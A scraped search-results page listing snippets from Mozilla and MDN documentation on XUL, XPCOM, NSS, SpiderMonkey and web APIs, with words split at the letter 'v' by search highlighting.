...ww.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbox id="browser-toolbox"> <toolbar id="findfile_toolbar"> <label control="findfile_filename" value="search for files named:"/> <textbox id="findfile_filename"/> <label control="findfile_dir" value="directory:"/> <textbox id="findfile_dir"/> <button label="browse..."/> </toolbar> </toolbox> </overlay> you can
view this by changing the overlay to a window.
...And 6 more matches
Grids - Archive of obsolete content
« pre
viousnext » xul has a set of elements for creating tabular grids.
...inside that go indi
vidual column elements, one for each column you want in the grid.
... example 1 : source
view <grid flex="1"> <columns> <column flex="2"/> <column flex="1"/> </columns> <rows> <row> <button label="rabbit"/> <button label="elephant"/> </row> <row> <button label="koala"/> <button label="gorilla"/> </row> </rows> </grid> two rows and two columns have been added to a grid.
...And 6 more matches
Manifest Files - Archive of obsolete content
« pre
viousnext » in this section, we'll see how to put chrome and xul files into a package and create the manifest files for them.
... if you just want to try testing pri
vileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a new directory somewhere.
...the browser.manifest file used by firefox looks like this: content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes overlay chrome://global/content/
viewsource.xul chrome://browser/content/
viewsourceoverlay.xul overlay chrome://global/content/
viewpartialsource.xul chrome://browser/content/
viewsourceoverlay.xul overlay chrome://browser/content/pageinfo.xul chrome://pippki/content/pageinfooverlay.xul two packages are listed here, 'branding' and 'browser'.
...And 6 more matches
Stacks and Decks - Archive of obsolete content
« pre
viousnext » there may be need to display elements as a set of overlapping cards.
...a scroll bar is just a special type of box that creates its own elements if you don't pro
vide them.
... it also handles the mo
ving of the scroll bar thumb.
...And 6 more matches
Tabboxes - Archive of obsolete content
« pre
viousnext » it is common in preference dialogs for tabbed pages to appear.
... xul pro
vides a method to create such dialogs.
... tabs the inner box that contains the indi
vidual tabs.
...And 6 more matches
The Box Model - Archive of obsolete content
« pre
viousnext » in this section, we'll look at how xul handles layout.
...this model allows you to di
vide a window into a series of boxes.
...example 1 : source
view <vbox> <button id="yes" label="yes"/> <button id="no" label="no"/> <button id="maybe" label="maybe"/> </vbox> the three buttons here are oriented vertically as was indicated by the box.
...And 6 more matches
XPCOM Examples - Archive of obsolete content
« pre
viousnext » this section pro
vides some examples of using xpcom along with some additional interfaces.
...the code below shows how to get a component which implements it: var wmdata = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getser
vice(); wmdata.queryinterface(components.interfaces.nsiwindowdatasource); this code retrieves a window mediator data source component.
...you can also get this component through the rdf ser
vice, which is another ser
vice that manages rdf datasources.
...And 6 more matches
XML - Archive of obsolete content
there are many times, for example, when you may use javascript tricks to add extra beha
vior.
...in order to pro
vide flexibility to you as adesigner of interfaces, xul offers no flexibility to you as acoder.
...collectively, the xul elements pro
vide all of the pieces you need to build rich interfaces.
...And 6 more matches
prefwindow - Archive of obsolete content
if there is only one prefpane, the na
vigation area will be hidden.
...this one can be safely omitted in xulrunner-based applications but you can override the default beha
vior (true for mac os x and false for other platforms) setting it.
...this does not work with prefwindows, breaking the general beha
vior of the window and in particular the list of prefpanes.
...And 6 more matches
XULRunner tips - Archive of obsolete content
jar:inspector.jar!/content/inspector/ xpcnativewrappers=no locale inspector en-us jar:inspector.jar!/locale/inspector/ skin inspector modern/1.0 jar:inspector.jar!/skin/modern/inspector/ skin inspector classic/1.0 jar:inspector.jar!/skin/classic/inspector/ overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/
viewers/dom/popupoverlay.xul overlay chrome://inspector/content/commandoverlay.xul chrome://inspector/content/
viewers/stylerules/commandoverlay.xul overlay chrome://inspector/content/keysetoverlay.xul chrome://inspector/content/
viewers/dom/keysetoverlay.xul overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/
viewers/stylerules/popupoverlay.xul overlay chrome://inspe...
...ctor/content/commandoverlay.xul chrome://inspector/content/
viewers/dom/commandoverlay.xul to launch dom inspector in your application, you need to open its main window, with a command like this: window.open("chrome://inspector/content/inspector.xul", "", "chrome"); alternatively, the dom inspector may also be added as an extension: (if you already have inspector installed for another application you can skip to the next step) follow the instructions above through "unzip the package." create a file in the extensions directory of your application with the same name as the dom inspector id (inspector@mozilla.org) containing one line of text -- the exact path to the root directory of dom inspector (where the install.rdf is) like this one: /home/username/.mozilla/firefox/numbersandle...
... var windowds = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"] .getser
vice(components.interfaces.nsiwindowdatasource); var tmpnamespace = {}; var sl = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .createinstance(components.interfaces.mozijssubscriptloader); sl.loadsubscript("chrome://inspector/content/hooks.js", tmpnamespace); tmpnamespace.inspectdomdocument(document); } now create a hook in your application window to start dom inspector...
...And 6 more matches
Efficient animation for web games - Game development
this article covers techniques and ad
vice for creating efficient animation for web games, with a slant towards supporting lower end de
vices such as mobile phones.
... we touch on css transitions and css animations, and javascript loops invol
ving window.requestanimationframe.
... there are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end de
vices.
...And 6 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
web technologies contain long lists of jargon and abbre
viations that are used in documentation and coding.
... this glossary pro
vides definitions of words and abbre
viations you need to know to successfully understand and build for the web.
...ader crawler crlf cross axis cross-site scripting crud cryptanalysis cryptographic hash function cryptography csp csrf css css object model (cssom) css pixel css preprocessor d data structure decryption delta denial of ser
vice descriptor (css) deserialization developer tools dhtml digest digital certificate distributed denial of ser
vice dmz dns doctype document directive document en
vironment dom (document object model) domain domain name domain sharding dominator ...
...And 6 more matches
How CSS works - Learn web development
pre
vious over
view: first steps next we have learned the basics of css, what it is for and how to write simple stylesheets.
... the browser then fetches most of the resources that are linked to by the html document, such as embedded images and
videos ...
... the
visual display of the page is shown on the screen (this stage is called painting).
...And 6 more matches
What are browser developer tools? - Learn web development
it also allows you to instantly modify the html and css and see the results of your changes reflected live in the browser
viewport.
... click a property name or value to bring up a text box, where you can key in a new value to get a live pre
view of a style change.
...clicking that rule causes the dev tools to jump to show it in its own
view, where it can generally be edited and saved.
...And 6 more matches
What are hyperlinks? - Learn web development
the web's original purpose was to pro
vide an easy way to reach, read, and na
vigate through text documents.
... since then, the web has evolved to pro
vide access to images,
videos, and binary data, but these improvements have hardly changed the three pillars.
...use external links to pro
vide information besides the content available through your webpage.
...And 6 more matches
What is a Domain Name? - Learn web development
they pro
vide a human-readable address for any web server available on the internet.
... computers can handle such addresses easily, but people have a hard time finding out who's running the server or what ser
vice the website offers.
... deeper dive structure of domain names a domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read from right to left: each of those parts pro
vides specific information about the whole domain name.
...And 6 more matches
Test your skills: Advanced styling - Learn web development
we've already pro
vided you with a basic reset to build upon.
... first of all, try gi
ving the search box a consistent width, height, padding, and border color across browsers.
... once you've removed the native styling, you'll need to add back one of the features it was pro
viding, to keep same look and feel we originally had.
...And 6 more matches
Adding vector graphics to the Web - Learn web development
pre
vious over
view: multimedia and embedding next vector graphics are very useful in many circumstances — they have small file sizes and are highly scalable, so they don't pixelate when zoomed in or blown up to a large size.
... moreover, vector image files are much lighter than their raster equivalents, because they only need to hold a handful of algorithms, rather than information on every pixel in the image indi
vidually.
... svgs lend themselves well to styling/scripting, because each component of the image is an element that can be styled
via css or scripted
via javascript.
...And 6 more matches
Handling text — strings in JavaScript - Learn web development
pre
vious over
view: first steps next next, we'll turn our attention to strings — this is what pieces of text are called in programming.
...html pro
vides structure and meaning to our text, css allows us to precisely style it, and javascript contains a number of features for manipulating strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting terms into the desired order, and much more.
... creating a string to start with, enter the following lines: let string = 'the revolution will not be tele
vised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value.
...And 6 more matches
Introducing JavaScript objects - Learn web development
the object-based nature of javascript is important to understand if you want to go further with your knowledge of the language, therefore we've pro
vided this module to help you.
...you are ad
vised to work through the introduction to html and introduction to css modules before starting on javascript.
... note: if you are working on a computer/tablet/other de
vices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 6 more matches
What is web performance? - Learn web development
pre
vious over
view: performance next web performance is all about making web sites fast, including making slow processes seem fast.
...this article pro
vides a brief introduction to objective, measureable web performance*, looking at what technologies, techniques, and tools are involved in web optimization.
... smoothness and interacti
vity: does the application feel reliable and pleasurable to use?
...And 6 more matches
The business case for web performance - Learn web development
pre
vious over
view: performance we've discussed the importance of web performance.
...but how do you con
vince your clients and/or management to prioritize and invest in performance?
... in this section, we discuss creating a clear business-case to con
vince decision-makers to make the investment.
...And 6 more matches
Vue resources - Learn web development
pre
vious over
view: client-side javascript frameworks next now we'll round off our study of vue by gi
ving you a list of resources that you can use to go further in your learning, plus some other useful tips.
...this contains information on customizing and extending the output you are generating
via the cli.
... nuxtjs — nuxtjs is a server-side vue framework, with some architectural opinions that can be useful to creating maintainable applications, even if you don’t use any of the server side rendering features it pro
vides.
...And 6 more matches
Multiprocess on Windows
over
view a high-level over
view of the ideas behind the a11y+e10s design is available on the wiki.
... as you should already know from the prerequisite reading, single threaded apartments receive remote procedure calls (rpcs) from com,
via the windows message queue.
...ideally, we would like to receive rpcs
via threads in the mta, and then forward them in a thread-safe way to gecko's main thread.
...And 6 more matches
Frequently Asked Questions for Lightweight themes
you can easily pre
view a design and install it without needing to restart.
...pre
view any theme by clicking "tap to pre
view"; the design appears in your browser header so you can "try it on." when you're ready, just click the blue install theme button.
...you can either:
visit the gallery, choose your favorite theme, and click on your choice to instantly change the look of your browser.
...And 6 more matches
Windows SDK versions
quick start follow the instructions for whichever version of
visual c++ you're using.
...
visual studio professional 2013 this comes with the windows 8.1 sdk included.
...
visual studio express 2013 for windows desktop this comes with the windows 8.1 sdk included.
...And 6 more matches
Gecko Logging
a minimal c++ logging framework is pro
vided for use in core gecko code.
...lazyloglodule pro
vides a conversion operator to logmodule* and is suitable for passing into the logging macros detailed below.
... #include "mozilla/logging.h" static mozilla::lazylogmodule sfoolog("foo"); logging interface a basic interface is pro
vided in the form of 2 macros and an enum class.
...And 6 more matches
Commenting IDL for better documentation
include documentation comments for everything, even if you think it is ob
vious what it means.
... automatic documentation generation tools can not see what is ob
vious to human brains.
... plus, what is ob
vious to you is likely not ob
vious to everyone.
...And 6 more matches
SVG Guidelines
when used as an image format, it is sometimes less ob
vious whether it would be best to use svg or a raster image format for any given image.
... performance while svg pro
vides a lot of flexibility in terms of scaling, themability, etc.
...however, just don't fall into the trap of thinking that svgs are faster than eqivalent raster images, or
vice versa.
...And 6 more matches
Multiple Firefox profiles
ha
ving different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons.
... windows
vista/7 click the start button.
... linux if firefox is already included in your linux distribution, or if you have installed firefox with the package manager of your linux distribution: open a terminal emulator or your shell’s command prompt: alt-f2 if you use gnome shell or kde plasma, consult your desktop en
vironment documentation for other en
vironments.
...And 6 more matches
Limitations of frame scripts
frame scripts run with system pri
vileges and have access to the components object, enabling them to use xpcom objects and jsms.
... many pri
vileged apis will just work in a content process.
... examples of apis add-on authors should avoid in frame scripts: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent
via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely to not work in the content process.
...And 6 more matches
Limitations of frame scripts
frame scripts run with system pri
vileges and have access to the components object, enabling them to use xpcom objects and jsms.
... many pri
vileged apis will just work in a content process.
...for example: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent
via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) file: uris, see bug 1187099 <...> xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely not to work in the content process.
...And 6 more matches
Process scripts
this can then cause a problem the frame scripts are interacting with a global ser
vice in the content process.
...the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let ppmm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getser
vice(ci.nsiprocessscriptloader); ppmm.loadprocessscript("chrome://whatever/process-script.js", true); ppmm.addmessagelistener("hello", function(msg) { ...
... }); the process script's global is a child process message manager, which enables the process script to receive messages from the chrome side, and to send messages to the chrome side: // process-script.js if (ser
vices.appinfo.processtype == ser
vices.appinfo.process_type_content) { dump("welcome to the process script in a content process"); } else { dump("welcome to the process script in the main process"); } // message is sent using contentprocessmessagemanager sendasyncmessage("hello"); in this example, the dump() statement will run once in each content process as well as in the main process.
...And 6 more matches
Widget Wrappers
widget wrappers are objects that pro
vide information about a widget.
... there are 'group' wrappers which pro
vide information about the widget across all windows, and 'single' wrappers which pro
vide information about a specific instance in a specific window.
... attribute description id the widget's id type the type of widget (button,
view, custom).
...And 6 more matches
Promise
method over
view promise then([optional] function onfulfill, [optional] function onreject); promise catch([optional] function onreject); constructor creates a new promise, initially in the pending state, and pro
vides references to the resol
ving functions that can be used to change its state.
... new promise(executor); parameters executor this function is invoked immediately with the resol
ving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed.
... the resol
ving functions can be used at any time, before or after the executor has completed, to control the final state of the promise.
...And 6 more matches
Index
7 l10n testing with xcode firefox for ios, localization once you have your l10n testing en
vironment set up in xcode, testing your firefox on ios localization is a breeze.
... 9 localization content best practices apps, extensions, internationalization, localization, mozilla, l10n, l12y this document pro
vides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
... 13 initial setup localization as a pre-requisite to contributing to the l10n program, you need to have access to code, tools, and a properly configured local en
vironment (i.e., your personal computer).
...And 6 more matches
Localizing extension metadata on addons.mozilla.org
this data describes the extension, and doesn't necessarily change with each re
vision (but it can).
... the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a new extension to amo, the process is di
vided into several steps.
... in step 2, you'll be asked to pro
vide the attributes listed above in the add-on's default locale (selected in step 1).
...And 6 more matches
MathML Accessibility in Mozilla
this table below pro
vides a list of mathml constructions and how they are read in mozilla applications for various platforms: windows: mathml support is pro
vided by nvda, which actually delegates math reading to the proprietary mathplayer plugin.
... mac: mathml support is pro
vided by voiceover.
... linux: mathml support is pro
vided by the development version of orca.
...And 6 more matches
TimerFirings logging
note: the power profiling over
view is worth reading at this point if you haven't already.
...set the following en
vironment variable to enable it.
... -991946880[7f46c365ba00]: [6775] fn timer (slack 100 ms): layeracti
vitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250 ms): presshell::spaintsuppressioncallback -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200 ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000 ms): 7f46a95a0200 each line has the following information.
...And 6 more matches
Anonymous Shared Memory
anonymous memory protocol anonymous shared memory functions anonymous memory protocol nspr pro
vides an anonymous shared memory based on nspr's prfilemap type.
... the anonymous file-mapped shared memory pro
vides an inheritable shared memory, as in: the child process inherits the shared memory.
...the intent is to pro
vide a shared memory that is accessbile only by parent and child processes.
...And 6 more matches
NSPR Error Handling
this chapter describes the functions for retrie
ving and setting errors and the error codes set by nspr.
... pr_io_error the preceding i/o function encountered some sort of an error, perhaps an invalid de
vice.
... pr_no_access_rights_error calling thread does not have pri
vilege to perform the operation requested.
...And 6 more matches
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feedback introduction network security ser
vices (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
...both debug and optimized builds are pro
vided.
... ckfw/mechanism.c(719) bug 401986: mac os x leopard build failure in legacydb bug 325805: diff considers mozilla/security/nss/cmd/pk11util/scripts/pkey a binary file bug 385151: remove the link time dependency from nss to softoken bug 387892: add entrust root ca certificate(s) to nss bug 433386: when system clock is off by more than two days, oscp check fails, can result in crash if user tries to
view certificate [[@ secitem_compareitem_util] [[@ memcmp] bug 396256: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous comments in der_asciitotime bug 422866: vfychain -pp command crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: ...
...And 6 more matches
NSS Developer Tutorial
tabs are used hea
vily in many nss source files.
...the proper use of tabs has often been confusing for new nss developers, so in nss/lib/ssl, we're gradually remo
ving the use of tabs.
...whether such a change is safe needs to be re
viewed on a case-by-case basis.
...And 6 more matches
NSS sources building testing
getting the source code of network security ser
vices (nss), how to build it, and how to run its test suite.
... getting source code, and a quick over
view the easiest way is to download archives of nss releases from mozilla's download server.
...in order to run the tools, you should set your system en
vironment to use the libraries of your build from the "lib" directory, e.g., using the ld_library_path or dyld_library_path en
vironment variable.
...And 6 more matches
Rhino shell
the javascript shell pro
vides a simple way to run scripts in batch mode or an interactive en
vironment for exploratory programming.
... en
vironment returns the current en
vironment object.
... deserialize(filename) restore from the specified file an object pre
viously written by a call to serialize.
...And 6 more matches
Property attributes
see js_defineproperty, js_fs, and js_fn flag description jsprop_enumerate the property is
visible to javascript for...in and for each ...
... the javascript language does not pro
vide any way for a script to delete a permanent property.
...(the property has no stored value.) assignment
via the prototype chain is affected.
...And 6 more matches
SpiderMonkey 31
it continues to improve performance over pre
vious spidermonkey releases, with a significantly improved garbage collector and other features.
... if you are compiling with microsoft's
visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped.
...on some other platforms (sparc, mips), the jit is pro
vided but not supported.
...And 6 more matches
IAccessibleTable
method over
view [propget] hresult accessibleat([in] long row, [in] long column, [out] iunknown accessible ); [propget] hresult caption([out] iunknown accessible ); [propget] hresult childindex([in] long rowindex, [in] long columnindex, [out] long cellindex ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult columnextentat([in] long row, [in] long colu...
...accessible if both row and column index are valid then the corresponding accessible object is returned that represents the requested cell regardless of whether the cell is currently
visible (on the screen).
...pro
vided for use by the ia2_event_table_model_changed event handler.
...And 6 more matches
nsIChromeRegistry
chrome/public/nsichromeregistry.idlscriptable pro
vides access to the chrome registry; you can use this to get information about chrome documents that have been registered.
... inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a ser
vice: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getser
vice(components.interfaces.nsichromeregistry); method over
view void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri);
violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (fi...
...converts a chrome url into a canonical representation by ensuring that the filename portion of the url is included, as in chrome://package/pro
vider/file.
...And 6 more matches
nsIDOMEvent
everything marked as gecko 16.0 was pre
viously available in that interface.
... method over
view boolean deserialize(in constipcmessageptr amsg, out voidptr aiter);
violates the xpcom interface guidelines void duplicateprivatedata(); native code only!
... nseventptr getinternalnsevent();
violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped();
violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype);
violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only!
...And 6 more matches
getFile
« xpcom api reference called by the directory ser
vice to obtain an nsifile object corresponding for a given standard path location.
... the indi
vidual platform implementation of nsidirectoryser
vicepro
vider maps the symbolic path location passed to this function and returns the appropriate nsifile.
...if true, this lets the directory ser
vice cache results to improve the performance of directory lookups.
...And 6 more matches
nsIDownloadProgressListener
it is important to note that there is no ser
vice for this listener.
... rather, the developer must create an object with the methods pro
vided below to implement it.
... method over
view void ondownloadstatechange(in short astate, in nsidownload adownload); void onlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, in nsidownload adownload); obsolete since gecko 1.9.1 void onprogresschange(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress, in nsidownload adownload); void onsecuritychange(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astate, in nsidownload adownload); void onstatechange(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astateflags, in nsresult astatus, in nsidownload adownload);...
...And 6 more matches
nsIMsgDBHdr
method over
view astring getproperty(in string propertyname); void setproperty(in string propertyname, in astring propertystr); void setstringproperty(in string propertyname, in string propertyvalue); string getstringproperty(in string propertyname); unsigned long getuint32property(in string propertyname); void setuint32property(in string propertyname, in u...
...note that the elided flag should not be set on messages, as it is a flag strictly dealing with the database
view.
...the value here will have been decoded by the mime converter ser
vice.
...And 6 more matches
nsIObserver
these notifications are often, though not always, broadcast
via the nsiobserverser
vice.
... inherits from: nsisupports last changed in gecko 0.9.6 method over
view void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe() this method will be called when there is a notification for the topic that the observer has been registered for.
... remarks the specific values and meanings of the parameters pro
vided varies widely, though, according to where the observer was registered, and what topic is being observed.
...And 6 more matches
nsIScriptError
js/xpconnect/idl/nsiscripterror.idlscriptable represents javascript errors and warnings for use by the console ser
vice.
... method over
view void init(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category); void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid...
...you are responsible for pro
viding that line.
...And 6 more matches
nsISocketTransport
it pro
vides methods to open blocking or non-blocking, buffered or unbuffered streams between two end-point in a ip based network.
...to create an instance, call nsisockettransportser
vice.createtransport() method over
view prnetaddr getpeeraddr(); native code only!
... unsigned long gettimeout(in unsigned long atype); boolean isalive(); void settimeout(in unsigned long atype, in unsigned long avalue); attributes attribute type description connectionflags unsigned long a bitmask that can be used to modify underlying beha
vior of the socket connection.
...And 6 more matches
nsITransferable
widget/nsitransferable.idlscriptable a container for typed data that can be transferred from one place or owner to another, possibly invol
ving format conversion.
... method over
view void adddataflavor( in string adataflavor ); nsisupportsarray flavorstransferablecanexport( ); nsisupportsarray flavorstransferablecanimport( ); void getanytransferdata( out string aflavor, out nsisupports adata, out unsigned long adatalen ); void gettransferdata( in string aflavor, out nsisupports adata, out unsigned long adatalen ); void ...
... constants kflavorhasdatapro
vider (that title needs to be better) constant value description kflavorhasdatapro
vider 0 a description is needed here.
...And 6 more matches
nsIWebBrowserPersist
to create an instance, use: var webbrowserpersist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method over
view void cancelsave(); void savechannel(in nsichannel achannel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutputcontenttype, in unsigned long aencodingflags, in unsigned long awrapcolumn); void saveuri(in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long are...
... constants constant value description persist_flags_none 0 no special persistence beha
vior.
... persist_state_sa
ving 2 persister is sa
ving data.
...And 6 more matches
Setting HTTP request headers
you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest acti
vity, an <img> element in content, or even from css.
...and once the observer is registered for a topic, it will get notified about the topic by ha
ving its observe method called.
...var observerser
vice = cc["@mozilla.org/observer-ser
vice;1"] .getser
vice(ci.nsiobserverser
vice); observerser
vice.addobserver(httprequestobserver, "http-on-modify-request", false); the first statement gets the object that will let us register with topics that we want to get notified about.
...And 6 more matches
Reference Manual
nscomptr<nsifoo> foo = ...; foo->addref(); // error: |addref| is private delete foo.get(); // error: |operator delete| is private ns_release(foo); // error: |release| is private of course, the most important safety feature pro
vided by nscomptr is that it addrefs and releases automatically at the appropriate times.
...implementation details and debugging machinery although it is a class, nscomptr has no
virtual methods, and therefore, no vtable or vptr.
...m interface pointer of the same type, annotated with the dont_queryinterface directive a raw xpcom interface pointer of the same type, annotated with the dont_addref directive or a synonym any interface pointer (either nscomptr or a raw xpcom interface pointer) of any type, annotated with the do_queryinterface directive a do_queryreferent directive the first three of these are simple and ob
vious.
...And 6 more matches
Main Windows
its main focus is on handling the folderpane, threadpane, and the message pre
view sections shown above.
... msghdr
viewoverlay.xul shown in blue above (where?), this overlay consists of three boxes.
... two are stacked showing either a brief or expanded
view of the headers.
...And 6 more matches
customDBHeaders Preference
as you follow along the step-by-step guide in creating a custom column, you may want to consider a preference setting that exposes custom header data for use in a custom column within thunderbird's main
view.
... getting started to build upon the reply-to column tutorial, i'll describe the process i went through in developing a custom column to display a 'superfluous' column within thunderbird's main
view.
... setting the preferences although there are various ways to set preferences, i tend to just na
vigate to the directory where my profile is stored and edit the user.js file with my favorite text editor.
...And 6 more matches
Using the Multiple Accounts API
smtp servers (nsismtpserver): an smtp server is not tied to any of the above and can be retrieved from the smtp ser
vice (nsismtpser
vice).
...the
view shows a flat, unified
view of all the servers.
...the accounts, identities, and servers are all linked
via keys.
...And 6 more matches
Flame Chart - Firefox Developer Tools
here's a screenshot showing the flame chart for a section of a profile: first of all, you'll see that, in the recording over
view pane, we've selected a small slice of the recording to
view in the flame chart.
... in the flame chart
view itself, along the x-axis is time.
... zooming and panning to work effectively with the flame chart, you'll need to be able to na
vigate it.
...And 6 more matches
Frame rate - Firefox Developer Tools
a frame rate of 60fps is the target for smooth performance, gi
ving you a time budget of 16.7ms for all the updates needed in response to some event.
...it gives you a quick indication of where your site might be ha
ving problems, enabling you to use the other tools for a more in-depth analysis.
... frame rate and responsiveness frame rate is the rate at which a
video de
vice can produce images (or frames).
...And 6 more matches
Cache - Web APIs
the cache interface pro
vides a storage mechanism for request / response object pairs that are cached, for example as part of the ser
viceworker life cycle.
...you don't have to use it in conjunction with ser
vice workers, even though it is defined in the ser
vice worker spec.
...in a ser
viceworker) handles cache updates.
...And 6 more matches
Basic usage of canvas - Web APIs
« pre
viousnext » let's start this tutorial by looking at the <canvas> html element itself.
... fallback content the <canvas> element differs from an <img> tag in that, like for <
video>, <audio>, or <picture> elements, it is easy to define some fallback content, to be displayed in older browsers not supporting it, like versions of internet explorer earlier than version 9 or textual browsers.
... you should always pro
vide fallback content to be displayed by those browsers.
...And 6 more matches
Canvas API - Web APIs
the canvas api pro
vides a means for drawing graphics
via javascript and the html <canvas> element.
... among other things, it can be used for animation, game graphics, data
visualization, photo manipulation, and real-time
video processing.
... manipulating
video using canvas combining <
video> and <canvas> to manipulate
video data in real time.
...And 6 more matches
Using light sensors - Web APIs
ambient light events give a web application access to a de
vice's ambient light sensor to detect changes in light intensity.
... when the light sensor of the de
vice detects a change in light intensity, the browser is notified of the change and fires a de
vicelightevent event.
... the event gives information about the light intensity of the de
vice's en
vironment.
...And 6 more matches
EventTarget.addEventListener() - Web APIs
see impro
ving scrolling performance with passive listeners to learn more.
...rather than adding more parameters to the function (complicating things enormously when dealing with optional values), the third parameter was changed to an object that can contain various properties defining the values of options to configure the process of remo
ving the event listener.
... getting data into an event listener using "this" as mentioned above, you can use function.prototype.bind() to pass a value to an event listener
via the this reference variable.
...And 6 more matches
FileReaderSync - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilereadersyncchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support ...
... yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yesreadasarraybufferchrome full support yesedge full support 12firefox full support 8ie full su...
...pport yesopera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yesreadasbinarystringchrome full support yesedge full support 12firefox ...
...And 6 more matches
FileSystemDirectoryEntry - Web APIs
it pro
vides methods which make it possible to access and manipulate the files in a directory, as well as to access the entries within the directory.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemdirectoryentry experimentalchrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: directoryentryedge full support 79...
...tfirefox full support 50ie no support noopera full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitsafari full support 11.1web
view android full support ≤37alternate name full support ≤37alternate name alternate name uses the non-standard name: directoryentrychrome android full support 18alternate name full support 18alternate name alternate...
...And 6 more matches
FileSystemEntry.moveTo() - Web APIs
when mo
ving a directory, the move is always recursive; you can't leave out subfolders.
... newname optional if this parameter is pro
vided, the entry is renamed to have this string as its new file or directory name.
...receives a single input parameter: a filesystementry based object pro
viding the moved item's new details.
...And 6 more matches
FileSystemEntrySync - Web APIs
it includes methods for working with files—including copying, mo
ving, remo
ving, and reading files—as well as information about the file it points to—including the file name and its path from the root to the entry.
... method over
view metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring newname) raises (fileexception); domstring tourl(); void remove() raises (fileexception); directoryentrysync...
...mo
ving a file over an existing file replaces that existing file.
...And 6 more matches
HTMLFormElement - Web APIs
